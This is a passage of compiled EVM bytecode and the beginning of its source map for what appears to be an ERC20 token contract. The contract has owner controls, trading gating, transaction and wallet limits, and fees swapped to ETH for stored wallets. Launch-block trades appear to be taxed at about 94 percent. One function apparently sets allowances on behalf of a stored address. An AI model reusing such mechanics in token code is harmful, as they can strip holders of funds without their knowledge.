ffffffff1673ffffffffffffffffffffffffffffffffffffffff16146121b8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121af90614783565b60405180910390fd5b80601560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b61221b6129cf565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146122aa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122a190614783565b60405180910390fd5b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361233a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161233190614bbe565b60405180910390fd5b80601860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b61239d6129cf565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461242c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161242390614783565b60405180910390fd5b6064612436610be4565b6124409190614801565b6103e88261244c610be4565b6124569190614832565b6124609190614801565b10156124a1576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161249890614c50565b60405180910390fd5b6103e8816124ad610be4565b6124b79190614832565b6124c19190614801565b600c8190555050565b6124d26129cf565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614612561576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161255890614783565b60405180910390fd5b6001600e60006101000a81548160ff0219169083151502179055506001600e60016101000a81548160ff0219169083151502179055506002436125a49190614c70565b601481905550565b60108060000160009054906101000a900460ff16908060000160019054906101000a900460ff16908060000160029054906101000a900460ff16908060000160039054906101000a900460ff16908060000160049054906101000a900460ff16908060000160059054906101000a900460ff16908060000160069054906101000a900460ff16908060000160079054906101000a900460ff16905088565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6126d96129cf565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614612768576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161275f90614783565b60405180910390fd5b80601760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b6127cb6129cf565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461285a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161285190614783565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16036128c9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016128c090614d16565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60186020528060005260406000206000915054906101000a900460ff1681565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603612a46576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612a3d90614da8565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603612ab5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612aac90614e3a565b60405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051612b93919061440a565b60405180910390a3505050565b60008103612bb957612bb483836000613895565b613671565b612bc1611e59565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015612c2f5750612bff611e59565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015612c485750600e60029054906101000a900460ff16155b15612fce57600e60009054906101000a900460ff16612d4257601560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680612d025750601560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b612d41576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612d3890614ea6565b60405180910390fd5b5b601860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168015612de55750601660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15612e3457600a54811115612e2f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612e2690614f12565b60405180910390fd5b612f23565b601860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168015612ed75750601660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15612f2257600b54811115612f21576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612f1890614f7e565b60405180910390fd5b5b5b601760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16612fcd57600c54612f80836119dc565b82612f8b9190614c70565b1115612fcc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612fc390614fea565b60405180910390fd5b5b5b6000612fd9306119dc565b90506000600d548210159050808015612ffe5750600e60019054906101000a900460ff165b80156130175750600e60029054906101000a900460ff16155b801561306c5750601860008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b80156130c25750601560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156131185750601560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561315c576001600e60026101000a81548160ff021916908315150217905550613140613a3f565b6000600e60026101000a81548160ff0219169083151502179055505b6000600e60029054906101000a900460ff16159050601560008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806132125750601560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1561321c57600090505b80156136625760006014544310156132bf576132566064613248600f5488613d6890919063ffffffff16565b613de290919063ffffffff16565b90506063605e826132679190614832565b6132719190614801565b601160008282546132829190614c70565b9250508190555060636005826132989190614832565b6132a29190614801565b601360008282546132b39190614c70565b9250508190555061363d565b601860008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16801561332d57506000601060000160049054906101000a900460ff1660ff16115b1561347f5761336d606461335f601060000160049054906101000a900460ff1660ff1688613d6890919063ffffffff16565b613de290919063ffffffff16565b9050601060000160049054906101000a900460ff1660ff16601060000160079054906101000a900460ff1660ff16826133a69190614832565b6133b09190614801565b601260008282546133c19190614c70565b92505081905550601060000160049054906101000a900460ff1660ff16601060000160059054906101000a900460ff1660ff16826133ff9190614832565b6134099190614801565b6011600082825461341a9190614c70565b92505081905550601060000160049054906101000a900460ff1660ff16601060000160069054906101000a900460ff1660ff16826134589190614832565b6134629190614801565b601360008282546134739190614c70565b9250508190555061363c565b601860008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680156134ed57506000601060000160009054906101000a900460ff1660ff16115b1561363b5761352d606461351f601060000160009054906101000a900460ff1660ff1688613d6890919063ffffffff16565b613de290919063ffffffff16565b9050601060000160009054906101000a900460ff1660ff16601060000160039054906101000a900460ff1660ff16826135669190614832565b6135709190614801565b601260008282546135819190614c70565b92505081905550601060000160009054906101000a900460ff1660ff16601060000160019054906101000a900460ff1660ff16826135bf9190614832565b6135c99190614801565b601160008282546135da9190614c70565b92505081905550601060000160009054906101000a900460ff1660ff16601060000160029054906101000a900460ff1660ff16826136189190614832565b6136229190614801565b601360008282546136339190614c70565b925050819055505b5b5b600081111561365257613651873083613895565b5b808561365e919061500a565b9450505b61366d868686613895565b5050505b505050565b60008383111582906136be576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016136b5919061428a565b60405180910390fd5b50600083856136cd919061500a565b9050809150509392505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361371357600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361374c57600080fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161382a919061440a565b60405180910390a3505050565b60008082846138469190614c70565b90508381101561388b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016138829061508a565b60405180910390fd5b8091505092915050565b61390081604051806060016040528060268152602001615347602691396000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546136769092919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550613993816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461383790919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051613a32919061440a565b60405180910390a3505050565b6000613a4a306119dc565b90506000601354601154601254613a619190614c70565b613a6b9190614c70565b9050600080831480613a7d5750600082145b15613a8a57505050613d66565b6014600d54613a999190614832565b831115613ab2576014600d54613aaf9190614832565b92505b600060028360125486613ac59190614832565b613acf9190614801565b613ad99190614801565b90506000613b08600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166119dc565b90506000613b2a8284613b1b919061500a565b87613e2c90919063ffffffff16565b90506000479050613b3a82613e76565b6000613b4f8247613e2c90919063ffffffff16565b90506000613b7a88613b6c60115485613d6890919063ffffffff16565b613de290919063ffffffff16565b90506000613ba589613b9760135486613d6890919063ffffffff16565b613de290919063ffffffff16565b905060008183613bb59190614c70565b84613bc0919061500a565b9050600060128190555060006011819055506000601381905550600088118015613bea5750600081115b15613c3357613bf988826140b9565b7f28fc98272ce761178794ad6768050fea1648e07f1e2ffe15afd3a290f83814868682604051613c2a9291906150aa565b60405180910390a15b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168347613c78919061500a565b604051613c8490615104565b60006040518083038185875af1925050503d8060008114613cc1576040519150601f19603f3d011682016040523d82523d6000602084013e613cc6565b606091505b505080995050600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1647604051613d1290615104565b60006040518083038185875af1925050503d8060008114613d4f576040519150601f19603f3d011682016040523d82523d6000602084013e613d54565b606091505b50508099505050505050505050505050505b565b6000808303613d7a5760009050613ddc565b60008284613d889190614832565b9050828482613d979190614801565b14613dd7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401613dce9061518b565b60405180910390fd5b809150505b92915050565b6000613e2483836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250614197565b905092915050565b6000613e6e83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250613676565b905092915050565b6000600267ffffffffffffffff811115613e9357613e926151ab565b5b604051908082528060200260200182016040528015613ec15781602001602082028036833780820191505090505b5090503081600081518110613ed957613ed86151da565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015613f80573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190613fa491906149ad565b81600181518110613fb857613fb76151da565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061401f30600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846129d7565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016140839594939291906152c7565b600060405180830381600087803b15801561409d57600080fd5b505af11580156140b1573d6000803e3d6000fd5b505050505050565b6140e630600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846129d7565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71982308560008030426040518863ffffffff1660e01b815260040161414d96959493929190614a3e565b60606040518083038185885af115801561416b573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906141909190614ab4565b5050505050565b600080831182906141de576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016141d5919061428a565b60405180910390fd5b50600083856141ed9190614801565b9050809150509392505050565b600081519050919050565b600082825260208201905092915050565b60005b83811015614234578082015181840152602081019050614219565b60008484015250505050565b6000601f19601f8301169050919050565b600061425c826141fa565b6142668185614205565b9350614276818560208601614216565b61427f81614240565b840191505092915050565b600060208201905081810360008301526142a48184614251565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006142dc826142b1565b9050919050565b6142ec816142d1565b81146142f757600080fd5b50565b600081359050614309816142e3565b92915050565b6000819050919050565b6143228161430f565b811461432d57600080fd5b50565b60008135905061433f81614319565b92915050565b6000806040838503121561435c5761435b6142ac565b5b600061436a858286016142fa565b925050602061437b85828601614330565b9150509250929050565b60008115159050919050565b61439a81614385565b82525050565b60006020820190506143b56000830184614391565b92915050565b600080604083850312156143d2576143d16142ac565b5b60006143e085828601614330565b92505060206143f185828601614330565b9150509250929050565b6144048161430f565b82525050565b600060208201905061441f60008301846143fb565b92915050565b60008060006060848603121561443e5761443d6142ac565b5b600061444c868287016142fa565b935050602061445d868287016142fa565b925050604061446e86828701614330565b9150509250925092565b600060ff82169050919050565b61448e81614478565b82525050565b60006020820190506144a96000830184614485565b92915050565b6144b8816142d1565b82525050565b60006020820190506144d360008301846144af565b92915050565b6000602082840312156144ef576144ee6142ac565b5b60006144fd848285016142fa565b91505092915050565b60006020828403121561451c5761451b6142ac565b5b600061452a84828501614330565b91505092915050565b61453c81614385565b811461454757600080fd5b50565b60008135905061455981614533565b92915050565b60008060408385031215614576576145756142ac565b5b6000614584858286016142fa565b92505060206145958582860161454a565b9150509250929050565b6000610100820190506145b5600083018b614485565b6145c2602083018a614485565b6145cf6040830189614485565b6145dc6060830188614485565b6145e96080830187614485565b6145f660a0830186614485565b61460360c0830185614485565b61461060e0830184614485565b9998505050505050505050565b60008060408385031215614634576146336142ac565b5b6000614642858286016142fa565b9250506020614653858286016142fa565b9150509250929050565b6000819050919050565b600061468261467d614678846142b1565b61465d565b6142b1565b9050919050565b600061469482614667565b9050919050565b60006146a682614689565b9050919050565b6146b68161469b565b82525050565b60006020820190506146d160008301846146ad565b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168061471e57607f821691505b602082108103614731576147306146d7565b5b50919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b600061476d602083614205565b915061477882614737565b602082019050919050565b6000602082019050818103600083015261479c81614760565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061480c8261430f565b91506148178361430f565b925082614827576148266147a3565b5b828204905092915050565b600061483d8261430f565b91506148488361430f565b92508282026148568161430f565b9150828204841483151761486d5761486c6147d2565b5b5092915050565b7f6d6178427579416d6f756e74206d75737420626520686967686572207468616e60008201527f2031250000000000000000000000000000000000000000000000000000000000602082015250565b60006148d0602383614205565b91506148db82614874565b604082019050919050565b600060208201905081810360008301526148ff816148c3565b9050919050565b7f6d617853656c6c416d6f756e74206d757374206265206869676865722074686160008201527f6e20312500000000000000000000000000000000000000000000000000000000602082015250565b6000614962602483614205565b915061496d82614906565b604082019050919050565b6000602082019050818103600083015261499181614955565b9050919050565b6000815190506149a7816142e3565b92915050565b6000602082840312156149c3576149c26142ac565b5b60006149d184828501614998565b91505092915050565b60006040820190506149ef60008301856144af565b6149fc60208301846144af565b9392505050565b6000819050919050565b6000614a28614a23614a1e84614a03565b61465d565b61430f565b9050919050565b614a3881614a0d565b82525050565b600060c082019050614a5360008301896144af565b614a6060208301886143fb565b614a6d6040830187614a2f565b614a7a6060830186614a2f565b614a8760808301856144af565b614a9460a08301846143fb565b979650505050505050565b600081519050614aae81614319565b92915050565b600080600060608486031215614acd57614acc6142ac565b5b6000614adb86828701614a9f565b9350506020614aec86828701614a9f565b9250506040614afd86828701614a9f565b9150509250925092565b6000604082019050614b1c60008301856144af565b614b2960208301846143fb565b9392505050565b600081519050614b3f81614533565b92915050565b600060208284031215614b5b57614b5a6142ac565b5b6000614b6984828501614b30565b91505092915050565b7f4d757374206b65657020756e6973776170563250616972000000000000000000600082015250565b6000614ba8601783614205565b9150614bb382614b72565b602082019050919050565b60006020820190508181036000830152614bd781614b9b565b9050919050565b7f43616e6e6f7420736574206d617857616c6c6574206c6f776572207468616e2060008201527f3125000000000000000000000000000000000000000000000000000000000000602082015250565b6000614c3a602283614205565b9150614c4582614bde565b604082019050919050565b60006020820190508181036000830152614c6981614c2d565b9050919050565b6000614c7b8261430f565b9150614c868361430f565b9250828201905080821115614c9e57614c9d6147d2565b5b92915050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b6000614d00602683614205565b9150614d0b82614ca4565b604082019050919050565b60006020820190508181036000830152614d2f81614cf3565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000614d92602483614205565b9150614d9d82614d36565b604082019050919050565b60006020820190508181036000830152614dc181614d85565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000614e24602283614205565b9150614e2f82614dc8565b604082019050919050565b60006020820190508181036000830152614e5381614e17565b9050919050565b7f54726164696e67206973206e6f74206163746976652e00000000000000000000600082015250565b6000614e90601683614205565b9150614e9b82614e5a565b602082019050919050565b60006020820190508181036000830152614ebf81614e83565b9050919050565b7f627579207472616e73666572206f766572206d617820616d6f756e7400000000600082015250565b6000614efc601c83614205565b9150614f0782614ec6565b602082019050919050565b60006020820190508181036000830152614f2b81614eef565b9050919050565b7f53656c6c207472616e73666572206f766572206d617820616d6f756e74000000600082015250565b6000614f68601d83614205565b9150614f7382614f32565b602082019050919050565b60006020820190508181036000830152614f9781614f5b565b9050919050565b7f4d61782077616c6c657420657863656564656400000000000000000000000000600082015250565b6000614fd4601383614205565b9150614fdf82614f9e565b602082019050919050565b6000602082019050818103600083015261500381614fc7565b9050919050565b60006150158261430f565b91506150208361430f565b9250828203905081811115615038576150376147d2565b5b92915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b6000615074601b83614205565b915061507f8261503e565b602082019050919050565b600060208201905081810360008301526150a381615067565b9050919050565b60006040820190506150bf60008301856143fb565b6150cc60208301846143fb565b9392505050565b600081905092915050565b50565b60006150ee6000836150d3565b91506150f9826150de565b600082019050919050565b600061510f826150e1565b9150819050919050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b6000615175602183614205565b915061518082615119565b604082019050919050565b600060208201905081810360008301526151a481615168565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b61523e816142d1565b82525050565b60006152508383615235565b60208301905092915050565b6000602082019050919050565b600061527482615209565b61527e8185615214565b935061528983615225565b8060005b838110156152ba5781516152a18882615244565b97506152ac8361525c565b92505060018101905061528d565b5085935050505092915050565b600060a0820190506152dc60008301886143fb565b6152e96020830187614a2f565b81810360408301526152fb8186615269565b905061530a60608301856144af565b61531760808301846143fb565b969550505050505056fe45524332303a206465637265617365642063616e6e6f742062652062656c6f77207a65726f45524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212204d4c9728be41b75b901966990c42c570092275f85a1f686b25b5dffd87dac5c464736f6c63430008130033

Deployed Bytecode Sourcemap

14501:13063:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;2005:99;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2952:168;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;19517:458;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;2339:107;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;15678:33;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;15638;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3134:354;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;20901:196;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2234:92;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3502:217;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;17610:1421;;;:::i;:::-;;14616:28;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;21368:124;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;19349:158;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;15895:64;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;14979:31;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2460:126;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7476:148;;;;;;;;;;;;;:::i;:::-;;27338:221;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;20561:145;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;21225:135;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;7172:78;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2117:103;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;15966:58;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;21105:112;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;15718:27;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3733:268;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2600:174;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;15017:22;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;20268:131;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;20716:177;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;19985:271;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;19136:143;;;;;;;;;;;;;:::i;:::-;;15366:251;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;:::i;:::-;;;;;;;;2788:150;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;20407:146;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;7638:244;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;16182:42;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;14577:32;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2005:99;2058:13;2091:5;2084:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;2005:99;:::o;2952:168::-;3034:4;3051:39;3060:12;:10;:12::i;:::-;3074:7;3083:6;3051:8;:39::i;:::-;3108:4;3101:11;;2952:168;;;;:::o;19517:458::-;7393:12;:10;:12::i;:::-;7383:22;;:6;;;;;;;;;;;:22;;;7375:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;19679:3:::1;19663:13;:11;:13::i;:::-;:19;;;;:::i;:::-;19653:4;19640:9;19624:13;:11;:13::i;:::-;:25;;;;:::i;:::-;19623:34;;;;:::i;:::-;19622:61;;19614:109;;;;;;;;;;;;:::i;:::-;;;;;;;;;19800:3;19784:13;:11;:13::i;:::-;:19;;;;:::i;:::-;19774:4;19760:10;19744:13;:11;:13::i;:::-;:26;;;;:::i;:::-;19743:35;;;;:::i;:::-;19742:62;;19734:111;;;;;;;;;;;;:::i;:::-;;;;;;;;;19901:4;19888:9;19872:13;:11;:13::i;:::-;:25;;;;:::i;:::-;19871:34;;;;:::i;:::-;19856:12;:49;;;;19963:4;19949:10;19933:13;:11;:13::i;:::-;:26;;;;:::i;:::-;19932:35;;;;:::i;:::-;19916:13;:51;;;;19517:458:::0;;:::o;2339:107::-;2399:7;2426:12;;2419:19;;2339:107;:::o;15678:33::-;;;;:::o;15638:::-;;;;:::o;3134:354::-;3273:4;3290:36;3300:6;3308:9;3319:6;3290:9;:36::i;:::-;3337:121;3346:6;3354:12;:10;:12::i;:::-;3368:89;3406:6;3368:89;;;;;;;;;;;;;;;;;:11;:19;3380:6;3368:19;;;;;;;;;;;;;;;:33;3388:12;:10;:12::i;:::-;3368:33;;;;;;;;;;;;;;;;:37;;:89;;;;;:::i;:::-;3337:8;:121::i;:::-;3476:4;3469:11;;3134:354;;;;;:::o;20901:196::-;20973:4;20990:13;21006:10;;;;;;;;;;;20990:26;;21027:30;21034:7;21043:5;21050:6;21027;:30::i;:::-;21085:4;21078:11;;;20901:196;;;;:::o;2234:92::-;2291:5;2316:2;2309:9;;2234:92;:::o;3502:217::-;3589:4;3606:83;3615:12;:10;:12::i;:::-;3629:7;3638:50;3677:10;3638:11;:25;3650:12;:10;:12::i;:::-;3638:25;;;;;;;;;;;;;;;:34;3664:7;3638:34;;;;;;;;;;;;;;;;:38;;:50;;;;:::i;:::-;3606:8;:83::i;:::-;3707:4;3700:11;;3502:217;;;;:::o;17610:1421::-;7393:12;:10;:1